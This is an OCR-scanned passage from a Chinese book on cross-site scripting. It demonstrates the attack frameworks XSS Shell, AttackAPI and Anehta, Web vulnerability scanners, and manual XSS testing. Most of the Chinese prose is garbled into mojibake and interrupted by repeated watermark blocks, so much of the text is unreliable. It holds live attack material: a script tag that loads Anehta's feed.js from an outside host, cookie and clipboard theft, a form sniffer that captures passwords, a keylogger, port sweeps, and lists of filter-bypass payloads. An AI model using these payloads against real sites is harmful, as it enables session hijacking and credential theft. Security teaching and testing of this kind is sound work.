sample victim, IXEELE XSS Shell I FE i af LG FE 5 HiaH P L2k, W 3-37 s,

% Sub page Title here.... — Victin - Norilla'Fizafox
TE RE ERY e #EE ILT NN
ﬁ* - v & B & FEp 12750 L isample_ctim 3 PR b

Sub page Titie here.... - Victim

Mozilla Developer Network

=

Hirte Sicleba
Related

News Firefox 2 Beta 1 milestone released

aE 3-36 ¥ Sample—Victim

92

PR YR AT B /7 s NUPR/WWW. L /NUan.com  #R25 T YR A AN ZH B /7 T9-425%: NUPL//T.].COMVKUDas_PRIoY/  HME— B Jm QU: 4829993

https://www. l1nuxprobe.com




ST PTIBORMUIE S 2 2 AR AN Al P 8 AT A4, A7 WU 5 (AT 1) SE B AR R A S AT TR 20 SR RIS T 3L
B, WAFAEBAT AR RIF ORI A R P EURIL I AR Z AL, MO &A1, B LRIy DAL EE . IS ERRAIRE, SR A TERR
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B Mk http://iwww.17huan.com ik 2.5T i i Jo N a US54 BEUR . FHEHCE W B R s

3.6 XSS Shell

Victims

AE3-37 #Tt4

W 3-37 Fiaah B LUERE M, Lhr LOSBA TR ER XSS /815, thkEidi, Lls
HT A HEAT XSS i 77 % AL “<script src="http://127.0.0.1/xssshell.asp"></script>"  [I4LH5,
HEAEAEF XSS Shell.

AL, it XSS Shell ThREBIHR K] getCookie(ME R ERL, LA LESA (K R X1 (Logs) @
a] LAF WL3RHR (1) % /7 ¥ Cookie 15 B, 1k 3-38 Fis.

B U @) Map: //127.0,0, 1/2esshall /7 v
Commands Victims
M :z7o0r77sse
® cockue —
GET Wichm's murrent pane HTML Code Logs

a[E 3-38 FRE Cookie 158

alert) R B I DhAEAR(E KX MM ALK, wTLLHKmX FAXHE. HEAENHEZA FMMN
Parameters XA 5 BN 2, 10 “XSS by cnndry”, W 3-39 fias, #RJG ¥iili “alert(<message>)”,
X AE H bR W28 00 6 1 23— NG HE, P 3-40 k.

Parameters :

A 3-39 WMALEARR
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"l e, TARIN e s s Nhuin = Mys LN Fieefan. 5 ais s
a -0 X @ X O 1 @ hitpus127.00. 1 sample_victims Rl b » - hﬂ
"luhmc'mhilm_.-vlnhn + e
-
Mozilla Developer Network
Follow me I'm the rabbit §. XSS by condry
go aoogle Il keep your sessq <=
Hide Sidebar EE:]
Related
News Firefox 2 Beta 1 milestone released
v
W o % Fiddier: Disabled &

aE 340 AEPEELEE

getClipboard() R ¥ D) i A2 TR 52 5 & BY AR LI, A HATHX IE %, Wi 3-41 i
78 R % oA B AT R

JIILELF X KGM=HHMWT GEXUWIZIVOZIUEBMNGCOUGCLIEFWIIFMHSCVG
YAGRQQUITILELM XK GM=HHMWTSEMUIZ ) DZIUEMNGCDUSCHIERWIIFMHS Y G

A 3-41 BEEMHE EAER

AttackAPI J&t— LT Web FIBGHHIERE, o] LAG5 ¢ PHP. JavaScript Bl A% HoAth 2 5 Ji 1 iR 45
S B AEATAE R, 13 a] A PR AL — ™ JavaScript Wi HESE.

AttackAPI HESE 1 Petko Petkov (pdp) JFARMIAk, & —PNIFEIIH (GPLv2). Xk (T
A#RT LR S 3k e, H HAEBAT AR Eak 4 r Ry e .

AT T 7 kA . http//www.gnucitizen.org/blog/attackapi/

Google Code Tl H #uhik 24« http://code.google.com/p/attackapi/

AttackAPI 17 JLANECH B (A : 0.8, 2.2.0a, 2.5.0a. 2.5.0b Al 3.0 fix, I IhhEBENA KT+
PoBA R K. S 3-42 s

{t/build/tests/ H 5% & F| firetest-interactive.htm 3C#Y, %354 AttackAPT $& {3 fr) 38 7O i, ¢F
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3.7 AttackAPI

b AT CUF Rk AT U 1) «

I http://127.0.0.1/AttackAPI/build/tests/firetest-interactive.htm

)Index of fAttackAPI Bozilla Firefox
Tep welE =By FEs SEE IAD &L
6 « & X ow 3% B0 O mpyireo ks - AR Ry )
Inciex of / AttackaPl
Index of /AttackAPI
Name Last modified Size Descngtio

15-Mar-2007 08:50 18K

3| Build.xm 15-Mar-2007 08:50 1.9K
) buildy 14-Nov-2011 2348
D) ini/ 14-Nov-2011 2348
B liky 14-Nov-2011 2348

Apache/2.2.9 (APMServ) mod_ ssiy2.2.9 OpensSSL/0.9.8h PHFY/S.2.6 Server at 127.0.0.1 Port 80
EAE - % R Fiddler: Disabled 4

o 3-42 AttackAPI i@

JA ) Firebug T I & M 217, WA “dir(AttackAPI)” JHZ1T, SEi <A 2k 3-43 fis
f¥) AttackAPI DOM %5$4) .

R * IZ¥A~Y HTML <S5 ®%x DOM
P We Fm HEF FH | OHE BE a8 EDES

» dirfattackaPh

author Fetka Petkavy | pdp rarchitect

+ Core Object | }

+ dom Object | signatures={...} |
homepage http tize
projecthome htt; L ARuctizEn o praisct

+ utils Object { )
version 2303

a[®E 3-43 AttackAPI DOM &5#4)
54+, AtackAPI 7 —MNHSLIEE ASA, A FARKEAEASA xF SR i) A1 PR LA
Jitkie
{E Firebug v 21T N F¥lin % :
console.log ($A.gethgent() );
console.log(SA.getPlatform() ):

console.log($A.getInternallIP() );
console.log($A.getInternalHostname() );

WG i AT E 1R a7 il AR BILLE LA R B BITECR, WP 3-44 FR.
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®a3% XSSMRAFMTAIE

Nozilla Firefox

&) Interactive Firetest

miHE WRE Y HRE BEE IAQ B8
@r « C X w & B (U ©Ohupiirool/anackariou v - | (4 J @

| Interactive Firetest

» » conselelogiia gethgenti) |, consclelogiSa getm. iR ;
consoie legiia getlrtemal=odname |

.pl

e S |+ EWE~  WTML CSE Wk DOM ) ) )
e Hm BE  vw @® g5 8 HEAs [consoleogsa.getagent) |

| console log($4.getPlatformd) §;
| consalelogiSA.getinternallP i
| console fogiiA getinternaldostnamel) 1

1=Tolo!

mazilla
vanilt
EpR O |

lzcalhost

Ee

“Fiddler: Disabled ""3"I-1

i

|25 we =

AE 3-44 EHTHAUTRE
M 3-44 huTLLFF], J8H] AttackAPL W] LUy 5 26 M AR I W A8 26 7 L A RGERR AR

o8 P 48155 S A PR
3, WA “console.dir($A.getPlugins() )" FiE1T, b FAS | H AT C 2 %3 10 Wi 384

2R, 3-45 Fir.

| owmv HTML css W% Dom am

w8 LRl &
p WE e AR | e B8R TE NE Wzal

= = =+ console dirsa. getPlugins ),

ave Flash

shacky

alE 3-45 B0 B AR FE1F R FR

AttackAPI I READUOUZIREURIE . Ff5. Cookies. iR MBMLK (5 E, Eh— s
1) JavaScript B HESR, AttackAPI B % 7 KEMEMIIIIMN APL, W% 3-1 Fiok.
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3.7 AttackAPI

= 31 API{E2

API I B

$A.scanExtensions({onfound: function(signature) {

somleilirisguatine); BRI I3 4 T 142 5B 6) Firefox "
1

$A.scanStates( {onfound: function(signature) {
console.dir(signature); Rl P R D G R T
1)

$A scanHistory({onfound: function(url) {

console.log(url); FHl %8 P S B B s
s

XAFRIEZRH) APL i B4R e FF RS A REAE A, ] an{# ] scanHistory ()it ¥ 47 5€ B O B4 Hi
DL e, BRAEHD P aT eV il B K5 B R AR D S HORITHN . W7E Firebug fr 4T PHIALLF
(T

$A.scanHistory({onfound: function(url) ({
console.log(url);

}, urls: ['http://www.google.com',
'http://www.baidu.com",
'http://weibo.com',
‘http:///www.facebook.com'] });

AT R WP 3-46 .

) Interactive Firegtest Hopzilla Firefox

XikiFi WSRE EWVY HEE #ZE IR ®LH

a « G ) i o B ] & hitp://127.0.0. 1/AttackaPI/oui - |- el

' Interactive Firetest

o * EMfv WTML css W& DOM i P 2
Fu i SE 4F EREs

| $4.scanHistoryionfound: functioniurh ¢
| corsolelogiu

nd: functioniuri le.ttp |
Y urls: [ cogle.com:
Uhtto
| ‘bt frweibo.com’
| *http:s/ v facebook.com i

AE3-46 ETHE

nd 3-46 fFr/RAt “http:/www.baidu.com” H1 “http://weibo.com” FTEN T thk, FoRENEH:i
fi) ik 4y o9 35k

AR ANk A AT R AR, AT EAEA] scanPortsQORR B, 4R J5 4552 BRI IR H AR 38t /3 1)
7 W F PR

a7
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®3% XSS NRAMT A

SA.scanPorts ({

target: 'www.target.com',
ports: [80,81,443,3306,21],
onfound: function (port) ({
console.leg(port)

e

oncompleted: function () {
conscle.log('completed!')

}

byi

AttackAPL.sweepPorts() e £ U GEXF — A 90 £ 31 B PN 1 e D 0EA T H0 08, 0 R RTR:

SA.sweepPorts ( {

network: '212.222.193.10 - 212.222.193.220°',
onfound: function (port) {

console.log(port)

e

oncompleted: function () |
console.log("completed! ")

}

)i

Htk el W, AttackAPI H)DhGERASEARR SR, A& MY RAW AU {ER JavaScript HESE,
PR A T HATERAFH

BTNk, BT AKENAERTR 5> XSS FIH] LH——Anehta,

Anehta JE[H N & A L4E%, MG “W”, BT JavaScript Fl PHP JF & XSS Hadi #) H°F
7, JLThREA MR A, IF HARG AR L A aT i et

KT XA H R )5 (4 5 2 BT LALE L F 93 3k 3]

anehta Tl H : http://code.google.com/p/anehta/.

HIF8% . http:/hi.baidu.com/aullik5/blog/.

{11 Anchta fRET 9, HFFELEETH XSS Wild 1 U4k —4 feed.js LA, WEH Anehta
L) demo TI[ Chttp:// 127.0.0.1/anehta/demo.html) HEFTHIE, &0 FR(LHD,

| <script src=http://www.a.com/anehta/feed.js ></script>
) B A58 52
I http://127.0.0.1/anehta/feed.js

XEEHES TAEA M4 J5, H Firefox T JF Anehta (/5 & http:// 127.0.0.1/anehta, it 2Bk
Fe 3 b 3-47 Fros (8 R 0T, MABANK S admin FIF S 123456 o] &%, 8 3-48
FF 7~

WIh %55 Anehta )5 & )5, ) Internet Explorer 31l % 8847 JF 4% XSS M5, HP http:/
127.0.0.1/anehta/demo.html, WP 3-49 fr7n, {EXHEHFMA 2GR, Ridi [submit] FHH4T
"3,
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PR TTIR AT B T e

3.8 Anehta

e
- C
Anehtal

Ry FEy ==g

o &% @ @ Prton L2700 L anehia servarloginohe

IAT wWhH

=

% % Flddier: Disabled &

aE 3-47 Anehta HIEEERTIA

Home  Slave Monitor

R

F o

-

RenalTime CMD  Chend Proxy | Onfine Proxy  Configore = Help | Logout

axis@phdnidm.org

AE 3-48 Anehta 9B &

A% Anehta 5 &, X%, WP 3-50 fraR, FEZAMEE T “127.0.0.1" —44 (Anehta £
7R H ™ 55 A Slave), X B R B XSS % 7 i 1P ik .
AR R UL, SHB— BT, XHBET R Anchta A RRMIKED, FRIRHE g, §
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$3IFE XSS MHAMTRAM

7% 7 H, £ Home M2 ERHEELHEE, WA 3-51 Fwn, Hd® T requestDate (H ).
slaveWatermark (/KE[1). slaveIlP (IP). slaveUA (J/ii#%, #HEFE) HEFiE R

3 http://127.0.0. 1/ aneht a/demo. htal — Windows Internet Explorer EEE
@ WEQ FEY R IAD BhHo L

Qst- O X6 O ek @ 35 @ -

&) hitp //127.0.0. 1/ anehte/deno. hial v Bwm owrm > &

£55550555555555555

test

[ submit |

submit !
aaaaaa tachao

A 3-49 Anehta LA T E

| Anehta!

- Home  Slave Monitor | | RealTime CMD | Client Proxy

w1 JEslave RS

Dump to Mail

il & B AT L 1T emds troom I8

e gfserver/class/auvth_Class.phprbF s e

rver/ mail. phpo 3 o Mraf e Azt A0 5

aE 3-50 Anehta 4 FER7KED

%73 Cache && Anehta F)Z O EEEZ —, Eol LU EENAG BRE Fk, ik ey
L AT, M2 7 3 A B B E R R . Cache LA/ RAFIL, —MRAE Key, —
MRAT Value, 47527~ XSS info 1 Content P I 4 2% .

ORI T i), KA P 3-52 FroRifE B

formSniffer username=testsapassword=1213456s&

100

PR TYRMAY B /7 NUPY//WWW. L /NUan.com  £R 25 ST Pt M ay AN ZH R /7 T8 4% NUPL//T.Q.ConVKUDas DIoY M )m QU: 4829993

https://www. l1nuxprobe.com




ST PTIBORMUIE S 2 2 AR AN Al P 8 AT A4, A7 WU 5 (AT 1) SE B AR R A S AT TR 20 SR RIS T 3L
B, WAFAEBAT AR RIF ORI A R P EURIL I AR Z AL, MO &A1, B LRIy DAL EE . IS ERRAIRE, SR A TERR
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B Mk http://iwww.17huan.com ik 2.5T i i Jo N a US54 BEUR . FHEHCE W B R s

38 Anehta

XSS info

| "qme i Slavé Mon'linr ' RealTime CHD Elient Proxy ' Online Proxy .' Configure | Help | Logout

Content

-~

afE 3-51 ZREUH XSS WEMEFRES

1 ranehta demo_htm

Epassword=12134564

A 3-52 formSniffer 2ER{ER

XS B IRAILE demo TUFHIAMIGE S, # Anechta SE5eBEEMICR T F¥R. BETH, fiE
$£F]— 4~ Keylogger i &, X/ anehta (I EEAIC RS LN, AEDTENE P im0 @AM A LT, W

& 3-53 F1E 3-54 froR.

a[® 3-53 Keylogger ZER{E R

AE 3-54 @EMACHE

HED A, EHEH P BrowserSniffer (W 88K A %5 ), FlashVer. screenSize (FEHEAM).
Activex (4iff). sitesHistory (i) 458, Wi 3-55 fix.
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BIE XSS With LA

FlashVar

alE 3-55 Anehta ZRELFIE FIRIER

AT WL, Anchta 7E% /7 Uik s, e BRI 7 M SE1R 58 K !

W2, XL % P imfs BAFTAAL? S8R0 T R 007 P s B AT BY TR 22 P AT
JRE, 28 R T LL i R oh R Bh i .

NIk Anehta [f] Slave Monitor 8, W1k 3-56 7R . 8T R BOFT K 30 4% Slave
o, WEEL 30 &, MASMERESERAFM. Slave iR Home B LILME R, 24T IRAM
e fEid s, HOE AT N R EE B E IR IR N

Home  Slave Monitor | RealTime CMD | | Client Proxy | Online Proxy  Configure @ Help | Logout
Recent 30 Slave Events
| ! i Al
| Slave_1321509144078 From 127.0.0.1 Thu, 17 Nov 11 19:16:59 +0200
| Slave_ 1321509144078 From 127.0.0.1 ! Thu, 17 Nov 11 19:16:39 +0800
¥ Pl cz ET
guesturRl=hitp 127.0.0.1/anehta / demo, htmi< / regquestiURI> <BrowserSniffer>MS1E 6.0 or
halows /BrowsarSniffars <FlashVer s ShockwaveFlash. ShockwaveFlash 8 < [FlashVar:
Size> 10274nT60.< / sopsenSize> < Actives s |Flash Player 8: ShackwaveFlash. ShackwaveFlash,. 8| Flash
Player 9: ShockwaveFlash,. ShockwaveFlash 0] 2605afe: 3605afelive. Update | IRE 1.6(WebStart):
tavaWsbStart.isTnstalled. 1.6,0.0<  Activex> <sitesHistory> | http:/ / www. googhe.com |
hitp www.baidu.com | hitp:/ fwww.tachao.com http:/ f www. iecwiki.com anehta
demo. btmil [ sitesHistory =
Slave_1321509144078 From 127.0.0.1 Thu, 17 Nov 11 19:16:39 +0800
v

a® 3-56 Slave Monitor

M RealTime CMD #3RMN Anehta fSERTdr-SBIR, ZERMHRIERT R, ERAPBA
JavaScript fURSJGHATEI R . GNERA “alert(/XSS/);”, FHEMARBEENRNE P aKKEN &L, FdiKEDH
BT Select Slave K ¥, Wk 3-57 fizR, #adidi [FVCK!]) #4l, A% )L7E demo BT [k
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. 38Anema

wHE MW EHA XSS [XAHE, WE 3-58 HiR.

| Home | Slave Monitor | | RealTime CMD = Client Proxy | Online Proxy i Confiqul_’e L H_gl__l_i
Heal Time Command

alert(/%ss/)]

Splect Slave Slave_ 1321509144078 FVCE! |

A 3-57 A IS REDHRIT

r g By . 1 1
Qe - O X2 e Joemr @ (e owiv )
I £ T heep //127.0.0. 1/ snehta/ demo hinl ) _ v Eyem e
byl L TSR el s a e R — -
$35555555555555555
1 Jxss/
(i
submit |
aaaaaa tacba
e
&) EETAAR hip://127.0.0. Vawhta (5| D Internet

a[E3-58 38 XSS HEE

HAT Ak, BRI, BERN Anehta ) TAERBEARA T#E, el LR H e85 R
WEES. M, Anchta JRALFPLHHEEA FiXLE, ©AREHABKHAThAE, HlinZ i,
LELEACHER LA K P I 3R EN Cookie %5, XBEAH ——NH.

KT XSS MRARA A THMAARXE, W ERUM TEEERE. Hin, XSS MHdiF
B0 F 4 M BeEF. XSS Tunnel 55, Ml TRFE AT HER. &6 TK.

103

PR YR AT B /7 s NUPR/WWW. L /NUan.com  #R25 T YR A AN ZH B /7 T9-425%: NUPL//T.].COMVKUDas_PRIoY/  HME— B Jm QU: 4829993

https://www. l1nuxprobe.com




ST PTIBORMUIE S 2 2 AR AN Al P 8 AT A4, A7 WU 5 (AT 1) SE B AR R A S AT TR 20 SR RIS T 3L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B Mk http://iwww.17huan.com ik 2.5T i i Jo N a US54 BEUR . FHEHCE W B R s

i a0t %hE XSS TR

FESE 1 R IRATT 8 S o dn T A4 2L A XSS I, LAEHE XSS IR A 2R
i TFF e o Bltnie “ <script>alert('XSS")</script>" 2 H ) FHF IR N A B IF MBS
[ Bief M 5 AN N PRI B, SROBC e 7 R B LR L RE 1 o mﬂ)LWTuﬁEufﬁﬁﬁﬁ#_
XSS i, BLEMVF 2 H 34k E R T R BE T TR ) S B «

(E A7 e o LR B A Oy v, WY RV s N R P oh R S A7 AE XSS Wi . B A i A XSS
MERXFEERE, MAFRAFEE, L, FEE T -ES8NNRKTER, L2EEH 2
B AR,

i b, 3X AP RN — LS . RIS D, AV R R B RN
PR Ao BT 5 4 (1 Bug, 2R1f0 H ATEA R REsb 4 38— 2 B3 BB & A7 00 230 i) |8, AR
HAL A PRI BT A e 4 O] B it PR o T 7 )

H TR Web B FRFFET A 00R 24T 3 Mhoik, 00k A &R (Whitebox). K £l
ik (Graybox) RELZIN[K (Blackbox).

BAETAMR

ANE RN 7 AT Web 2L,  #REE A UM B R AR AR DX BE IR 8, Qe
000G 1 BT AR B ) A S B et s R K5 T 58 4 JC A HUTS AR BRI, Rﬁ"‘b&ﬁi’ﬁ
ARl A vl e SO R S B OB U A5 SR s i AR I 5 A A T 5T K
SEyt [TE v P

oo, RANR P AT 0 A TR & A ik, Bridm « @il ” s B asift
W TR REAT IS, X RN T AL

e Lk e LU XSS JiFi Bah i TR, 57X TR, (@ aBPUET ot & 4
Web JW R P o (85 i R A i ] o

(1) Acunetix Web Vulnerability Scanner.

Acunetix Web Vulnerability Scanner /& # b 2% () Web Wi HFEF, &0 h e 98 K,
o] BL A SR B & Web BB 3T, 4E XSS, SQL A, AT, B, My
FE R L% 3 #% . CRLF Injection %.

A UUNE A M IREUE 245 &:  hitp://www.acunetix.com/vulnerability-scanner.
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41 RETAMR

Acunetix Web Vulnerability Scanner ff)i2 7 7 i i B 4-1 Frow.

B Acunetix Web Vulnerability Scanner (Enterprise Editiom)

File Tools Configaration Halp

Few Scan w0 b 4 e ) = | g W B | .
| Tooks Explorer '
E Wiieh Vidner abdty Scanmer

[ wieb scarrer
| = Todals l
2 Site Crayher |
o Tanget Fnder |
£, Subdoman Scanner |
Birsd SQU Inpector ‘
|
|
|

WEB APPLICATION SECURITY

2 | ey acunetix

Version Infermation
Acunetix Web Vulnerability Scanner
Azunetix Lta T 2008 Al nghts resered

B3 HTTP Editor Version 5.1
& HTTP Sruffer
HTTP Furses
) Authenboation Tester
[0 Compare Results
= | Web Services
&* Web Services Sconner | |

Build 20000211

@ Program Updates | Dalermmine if new apphcation builds ate available and parfor

& Web Services Editor
- Configurabon
o Settngs |
i Scannng Profies |
= General |
@ Program Undates |
=+ Wermon Information
A Licensng
£ Support Center

8| Purchase
] User Manual (i)
&) User Manual (pdf)

Mo patch updates are somlabls
Detarmining necesary wpdates. ...
*io patch updates are avadabie,

D AouSensor

~ Apolication Lag [Errer Log

Ready

aE 4-1 AWS BIEfTRE

(2) XSSDetect.
XSSDetect 2K 22 7] A9 —sKE &UBD 4T TR, XA THAEN Visual Studio NET [, fiE
EAT S0 9 B O A E R T H P (B S AR, LS i P 4-2 PR

XSS Detect Code Analysis

boide 51D @ e #) e showsupressedlssues Coumrs ~ | D o ™

Nu..  Rule Name Data Flow Start DataFl ~ {|Sequence Number: 1 A~

A1 CosSteSciping Colections12cs[19]  Colectc  fly, - vrrossed
: 2 CrossSite Scripting  Aliasingd. cs (20) Abasing Rule ID:;C&S'E.C%

3 CrossSite Scripting  Aliasingd. cs [20) ARasing: . P
& ¢ CiossSiteSorpting  Interprocedurald cs [19]  Interpron Ciose-Sie § 9

'Vector: WebFeguest
A5  CrossSie Scripting  Interprocedurall 3.c5 (18] Interpres e -

&6  CrossSite Scripting  Factories].cs (18] Factoie | Fie

‘ 7 Cross-Site Scripting  Bazic? c3 (18] BasicT « TestCases\Caollections\Collect
A8  CrossSite Scripting  Arrays8 c3 [18) Anays8 TestCases\Collections\Collect
A3 CrossSite Scripting  Anays8 cs (18] AnapsB, | TestCases\Collections\Collect
A0 CiossSte Scriping InterprocedusBcs (18]  Intepron | o o= \Collections!\Colect
A1 CiossSie Scripting  Collections11.cs (19) Collectic

& 12 CrossSee Scrpting  Basich s (18) Basich.c

& 13 CrossSite Scripting  Anays7 cs (18] Anays?.

b e ¢

Generated today al 3.06 PM. 120 iesuefs) < >
00 XS5 Detect Code Analysis | 14 Erior List | Z] Outpast | = Find Resus 1| @1 Find Symbol Results

a[® 4-2 XSSDetect St
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FA4FE £ XSS ERUS

5k, 18 XSSDetect 7 % Visual Studio (¥4, HATAAIEH T Visual Studio 2005. &A1 T
H 143 XSSDetect 5, HLHETE Visual Studio 2005 [SE AL FHFS, WE 4-3 frox. XSSDetect
M A PR T VA R B, k) 4-4 BTR.

Stud

(HOn HEQ

@ WAQ WEw IAg k)
d o REE @ POMRHET 1) Corldlesd |
E' v, ANRRe
B t ERIRER Q)
¥ £ ARHESE D
@ : HBGESE )  CulE culsm
~ TR o
: I . ANRAEEE W ,';
! £w » i §
i i cuIn i) et
Dotfuseator Community Edanion ‘IJ;;
AWIR @ L
REORATTE 00
[ hateet Botn Code hoiyiis ||
SAMSHERD i‘":;:
axLE ¥
B R Y

Al 4-3 JETTTE Visual Studio IR T

54 oe ne b |
BRO |0 | 2R | i -

Using the i
| XSSDetect Toolbar

{1 When vou run the XSSDetect tool, it displays its
i1l mainwindow At the top of the window is a toolbar
i1 vou canuse to control and configure the tool's

i behavior
i 355 Detact Code Analysls
Rl e % ) [ Show Is:
; b SO @E )l Sl
& 108 Cioss:Site Sciipbing  BasicS.cs [18) Banci.cs [26)

A 109 CrossSite Sciipling  ShongUipdatesd.cs (19]  StomgUpdatesd
& 10 CioseSite Sciiptng  Pred2.cs [22) Pred2cs (28] .,
Wowae o oan m b . . b Ay v
B >

afE 4-4 XSS Detect fYikBAH

(3) Ratproxy.

B X3 THKH Google, M fit Ratproxy, AWl 4-5 iz, I H Huhk A
http://code.google.com/p/ratproxy/.

Ratproxy & —ak H LB BRI XSS i) %4 TR, LU IHIRE A | N RF 4772 1)
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42 REFHM

XSS i, FHF Linux. FreeBSD. MacOS X PLJ Windows ZH{/E &4 .

Fla  Eft  yee Hpen  feseats  lsss  Hes

L o =

Ratproxy audit report
{1700501] Generated on 200806110 1201

Pajtplfo H i

Reporn risk and risk modifier designations:

WITE Fiot sl of the resies rapomed msce s

| o O Issue urgency classheation icomposile of smpact and dentificalion accuracy)
=3 Hon-dscrminatory entry for urther analysis
B Quaery paramaters echoad back ! nol achoed in HTTP response. respectively

PRED | Request URL or quary data Iikeky 15 ! 1s nof predicable to thard parhies. respectnely
T Reques! reguies | does nol requie cookie authentication respectvely

POST guery with no XSRF protection - ...

@ - - 1
MIME type datec tad
ot wakues
o - P . 100
FIFE type dotected —
i wakses
R i | . s o0
RIME wpa et et tad e
ot vkses
Apache/2.0,55... & o .

A 4-5 Ratproxy @&

B 1 HEAS BN XSS ¥, Ratproxy if REAL B ILARLAY Web 4, {L¥E:

o SHFHIMANEMA LS ISON [,
o uBEak CifiiA ) XSS/Data i N

® HTTP M META #i%;

® SQL Injection;

o CFALE T

o [k,

CURREEICE, WAERILERT, IR, AR st ) ik A B AR TR

1 Web &M [ sh it TR, GE8E SR E I Web TR 00 1F) & F i i, L XSS,
CSRF. SQL Injection 5§, iX%e4z i K Z 0I5 OWASP BT 2 i) Web [V 44> i 51 % .

AL 0] CALAEAS T 4 5 2250 (Rt R e, AR R ( R 5 S 4y, A i S AT .

BEFHM

ERGEHELT, BRTAEH Web L2 8il THEEAT AZhEIIE, &) KRN TR 2R e i
BIA B -
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H4E K XSS WA

BATEE, CeREMGHWAIEFIES, W Asp. Asp.net, PHP, JSP 5§, IR #5245 ¥0 2%
AT AIRRL S HTML AR5 i A THEK B R Al & &F % /' o () HTML 30 &3 XSS, ot

g I S B () B HEAT . BN, I\ “<scriptalert(0)</script>" % XSS Bl FF HIHRAL

NN S, REIEXMNMRAER . R H R P8 S B A R g
BEANEE SCSE bR, B AT LA DA N FR A7 XSS Wil

XIS A E AR IAB A Web 454, il HERMEE R, JLHRNE 20N R
AT EAMRN, TahR 0 aeisi i £ Ak T A EZERBIN 2R .

R el 7E R A EAEE T Fah R4 XSS Kl .

T FEE X UL B AAESEA TR, BRI AN Rk R XSS MBURFERF, W

| <>" ' g %

RE, WMALLFEEM XSS A:

<img/src="javascript:alert ('X55"');">

<img src="javascrip&#llés#SBalert (/XSS/);" >

<table background="javascript:alert(/XSs/)"></table>
"»><script »alert (document.cookie)</script>
"%3e%3cscriptil3ealert (document.cookie)</script>
"><sc<script>ript>alert (document.cookie)</script

<div style="width: expression(alert('XSS'));">

<div style="{ left:expression( alert('xss') ) }">

AT S IRHERYE R ST, 3 BL P S0 IR RR A AR BR AT AT B AR AHE A <X 88> &
HRAT, MRIGLERAT)E I m S AN, WREKRT “XSS” AHRIFEANTH “<XSs>"&” i
TP IEME o WMRERKAR) “<>" FRAEARYR L, WYX AHE DT BEA7 /£ XSS
T, fE bt A IS e ¥ XSS ATl .

BBt “<>" SFERICTT SHOLIE T, RALE W A A AR CotrsE R i, $4-5%) & XSS.

LU HTML GRS )7 B :

I <input name="name" value=<?=$query?>>

HAR) Squery ABENTR, TANLE B HAEERA

| =xss onmouseover=evil script()

I EEY A I HTML W F
| <input name="name" value=xss onmouseover=evil script()>

PUIX R 5 IEAT JavaSeript B, [FIFERTLAWEIN Web W HIFEFF 547 7E XSS Jiifl . sbibig#
AERE, A LoRBlFEca I RAVE A BB R R 74T “<XSS>"&

UESh, EEAARAHRER TURINGE, 6 e LS S #E1 XSS AR6S, -
I <img onerror="alert(0)" src=http://xxx.com/>

fn SRR AL A B DU H BLHE RS R 2 U8 TR, UL XN AKE ] EAFTE XSS Jifi . -

— ORI, X ARE B W] RE S R B FF AR XSS, thATRIAEACH B R XSS. it

108

PR YR AT B /7 s NUPR/WWW. L /NUan.com  #R25 T YR A AN ZH B /7 T9-425%: NUPL//T.].COMVKUDas_PRIoY/  HME— B Jm QU: 4829993

https://www. l1nuxprobe.com




ST PTIBORMUIE S 2 2 AR AN Al P 8 AT A4, A7 WU 5 (AT 1) SE B AR R A S AT TR 20 SR RIS T 3L
ISy WIAFAE A BT R BOR IR A 1 T BURIC I FAUR Z A, W0 5 5, BOR S BI7 AAE P . IS IERRASRE SRR N TERR .
e BRI AR R AT SR E—AB Y, TR H AR A P BOARIE NI S 3t | SR AL i Jo s & se ST L R A
B Mk http://iwww.17huan.com ik 2.5T i i Jo N a US54 BEUR . FHEHCE W B R s

42 RETaM

X UM R S BB, R A R Y 2 B B Y XSS .
A LD T R
I http://www.test.com/list.asp?aid=3&f=test&type=sm
ZEETEET 3MSH, AR aid. A type. 3T R UL BB 2 20 3 AR A HE
WA, RALIESECY s AHERETIRAZ, Wk m T
http://www.test.com/list.asp?ad id=<"XSS5'>&file—test&type=sm

http://www.test.com/list.asp?ad_id=3&file=<"XSS'>&type=sm
http://www.test.com/list.asp?ad id=3&file=test&type=<"XS5'>

g LAk, TEREIAE T TFahRMANE XSS 134y i 2 F Bk 7 75 5 R B AiE .

WRNAHFFRR T B4 n AR g Res, ReBENPMARGER WRAEHEEERTT
Trep, (FREAT MDA Wl B0 I bR A PR, SR SERBHIRIX AR, BEAMMELITIE “<>” %
WL T .

B, fEMHR XSS MHELA B EMEE, T MNABFLMiK XSS MiFiLiE, nTelzifil
2RI, WA A HTML frZE e, Fi4F. CSS F Flash %%,

BB A~ XSS #3853 [5] ) 0 4 5 LA B B AR

[ <Input type="text" name="address" value="XSSTest">

o, XSSTest A A # [4AUR, il XSS (11 805 i 2 2 L& AR B RG4S, 45 K <input>
FRESR G 51N JavaScript JIA, 0.

| XsSTest "><script>alert (/XSS/)</script><"

BoJeigmEl:

I <input type="text" name="address" value="XSSTest "><script>alert (/XS88/)</script><"">

B ] LA B A AL BE A8 AT XSS, thtm:

i "onfocus="alert (/X55/)

s A A CHS k2 JavaScript £CASHd, .

| <script>var test = ' XSSTest '; var id =12; ... </script>
i ig LA AR 42 AL
I ': alert(/Xss/): var foo='
AEIE R TP
| <script>var test = ''; alert(/XS85/); var foo='"'; var id =12; ... </script>

SEF, FRATI JavaScript AGHS 3 A LUBF 0 TT .
A, FEAFEI) H bR SRS, 8w LR B i () A s v A O\ RE S8 T L3 . (B i v
MR, Filhn.
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EA4FE RIE XSS RiFEFIH

I <scripT>
<scrip%00ipt>
%$253cscipt%253e
Expre/*t*tx: /ssion

{ERAZWAN, EELELEFEEER. HRBFREEE, RFGEFESFAE.

BT E 2, K XSS W EMBAmAE, EIrmBYgE, RIEFHSMETT. ik, ZXHMEK Web
AR B 7 EA AT o Y TR B e D S T B RAE D

KFEWTLLGEAH 1 Rk (Sgid XSS Filter) IA%, 2% Rsnake 4[] XSS ifif3&
(http://ha.ckers.org/xss.html) #lli& Web [V H #2725 4771 XSS il .

) mrmmewit

FIHAT A 1L, BRAICENMA T REHE T XSS wwH s, BIER T RK B3tk
HEE N LT shillli..

ATEEE F RN B EEI A SHEL A XSS ik, X7 il i i 2 BT wi v .

